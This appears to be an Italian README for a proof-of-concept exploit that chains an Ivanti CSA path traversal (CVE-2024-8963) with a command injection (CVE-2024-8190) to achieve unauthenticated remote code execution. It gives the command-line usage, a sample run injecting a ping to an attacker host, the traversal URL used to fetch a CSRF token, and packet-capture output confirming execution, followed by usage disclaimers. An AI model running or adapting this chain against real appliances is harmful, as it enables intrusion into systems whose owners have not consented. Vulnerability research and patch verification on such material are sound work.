
Combinando CVE-2024-8963 & CVE-2024-8190 - Per RCE non autenticata su Ivanti CSA 4.6 e versioni precedenti
Combinazione di CVE-2024-8963 e CVE-2024-8190 - PoC per RCE non autenticata su Ivanti CSA 4.6 e versioni precedenti.
CVE-2024-8963
Il Path Traversal in Ivanti CSA precedente alla 4.6 Patch 519 consente a un attaccante remoto non autenticato di accedere a funzionalità riservate.
CVE-2024-8190
Una vulnerabilità di OS command injection nelle versioni di Ivanti Cloud Services Appliance 4.6 Patch 518 e precedenti consente a un attaccante remoto autenticato di ottenere l'esecuzione remota di codice. L'attaccante deve disporre di privilegi di livello admin per sfruttare questa vulnerabilità.
Questo PoC combina le due vulnerabilità per dimostrare come CVE-2024-8190 possa essere utilizzata senza autenticazione.
python3 ./cve-2024-8190.py <target_url> '<CMD>'
$ python3 ./cve-2024-8190.py https://<target> 'ping -c 4 <attacker>'
[!] WARNING: This script is for authorized testing and educational purposes only. Unauthorized use is illegal.
[*] Fetching https://<target>/client/index.php%3F.php/gsb/datetime.php...
[+] Got LDCSA_CSRF value: sid:483045<REMOVED>
[*] Sending payload...
[!] Request timed out. Check if the command executed on the target.
$ sudo tcpdump -n "icmp" -l
11:43:15.135004 IP <target> > <attacker> ICMP echo request, id 30001, seq 1, length 64
11:43:16.135647 IP <target> > <attacker>: ICMP echo request, id 30001, seq 2, length 64
11:43:17.137707 IP <target> > <attacker>: ICMP echo request, id 30001, seq 3, length 64
11:43:18.137085 IP <target> > <attacker>: ICMP echo request, id 30001, seq 4, length 64
Questo PoC si basa in gran parte sul PoC di Horizon3.ai per CVE-2024-8190:
https://github.com/horizon3ai/CVE-2024-8190
Il template nuclei di ProjectDiscovery per CVE-2024-8963.yaml:
https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-8963.yaml
P.S. ProjectDiscovery spacca!
Non fare lo stronzo.
Questo software è stato creato esclusivamente per scopi di ricerca accademica e per lo sviluppo di tecniche difensive efficaci, e non è destinato a essere utilizzato per attaccare sistemi se non esplicitamente autorizzato. I maintainer del progetto non sono responsabili dell'uso improprio del software. Usalo in modo responsabile.